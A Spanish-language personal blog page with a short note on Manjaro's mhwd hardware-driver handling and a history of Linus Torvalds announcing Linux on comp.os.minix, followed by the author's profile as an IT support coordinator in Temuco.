Uno de los mayores desafíos para los usuarios GNU / Linux es detectar y hacer trabajar su  hardware con su sistema operativo preferido.Manjaro tiene esto como prioridad. En palabras del mismo Müller: "Un problema bien conocido es libgl y sus conflictos con los paquetes de Catalyst y Nvidia. Empacamos libgl y todos los controladores propietarios de una forma diferente y administramos con mhwd un enlace para la descarga de los archivos de controlador necesarios.Esto nos permite admitir tarjetas híbridas como Nvidia Optimus system de una manera simple. Mhwd también puede instalar todos los controladores usando una base de datos y varias versiones del kernel para su sistema".




Hace 21 años un entonces joven estudiante de informática de la Universidad de Helsinki llamado Linus Torvalds escribía en  el grupo de noticias de Usenet comp.os.minix (los grupos de noticias, fueron un servicio antecesor de la www, al igual que Archie, BBS, Gopher y Verónica, y este servicio estuvo vigente hasta el 20 de Mayo del 2010 ) sobre un sistema operativo que estaba construyendo desde cero, para computadores PC clones AT 386/486.

Minix es un Sistema Operativo creado por Andrew Tannenbaum y propiedad de Prentice Hall, basado en UNIX para la enseñanza de estudiantes de informática. Su característica es que es de tipo microkernel en vez de GNU/Linux que es de kernel monolítico. Torvalds se basó un poco en Minix y consultó a los usuarios sobre que aspectos les desagradaban de éste S.O  y que se podía mejorar. El kernel fue escrito en C con directivas _asm_, por lo que el porting hacia otras plataformas de procesador como las que empleaban Amiga y Macintosh con los procesadores PPC tendría que esperar. La discusión sobre que kernel es mejor : el microkernel o el kernel monolítico es una discusión que lleva años entre Linus Torvalds y Andrew Tannenbaum.

El mensaje del anuncio del nacimiento del kernel Linux, lo conserva Google quién adquirió buena parte de los antiguos grupos de noticias de USENET y los incorporó en  Google Groups

Se ha producido un error en este gadget.

segunda mano

Blog Flux

Computers Blog Directory

BlogUpp!

Directorio de Blogs

Directorio de Blogs

About Me

Mi foto
Patricio Morales

Ingeniero de Ejecución en Informática y Técnico en Electrónica Industrial con amplia experiencia en el área de Soporte Técnico Computacional. Entre mis antecedentes destacan: Haber trabajado como Soporte Técnico por 4 años desde 2003 hasta 2007 para Empresas Bravo CAS LTDA, que en aquel entonces ofrecía soporte administrativo para las Cadenas de Supermercados BRYC (hoy Unimarc), Mayorista 10,además de Abarrotes CD(Distribuidora) y Maspan S.A(Panificadora). En 2008 trabajé como Soporte Técnico para un contratista de SONDA S.A., tiempo en el cual me correspondió atender a varias empresas de carácter regional y nacional. Desde el 2009 trabajo como Coordinador de Informática para el Departamento de Educación(DAEM) de la I. Municipalidad de Temuco. Además he trabajado de forma particular, realizando diversos trabajos en el área de Soporte Informático y en el área de relatorías para particulares y empresas.

En lo personal, me considero una persona que le gusta algo nuevo cada día, investigar sobre varios temas, que no tengan que ver con la informática y la electrónica (hay vida mas allá de los bits).

Ver todo mi perfil

Seguidores

contador de visitas

View My Stats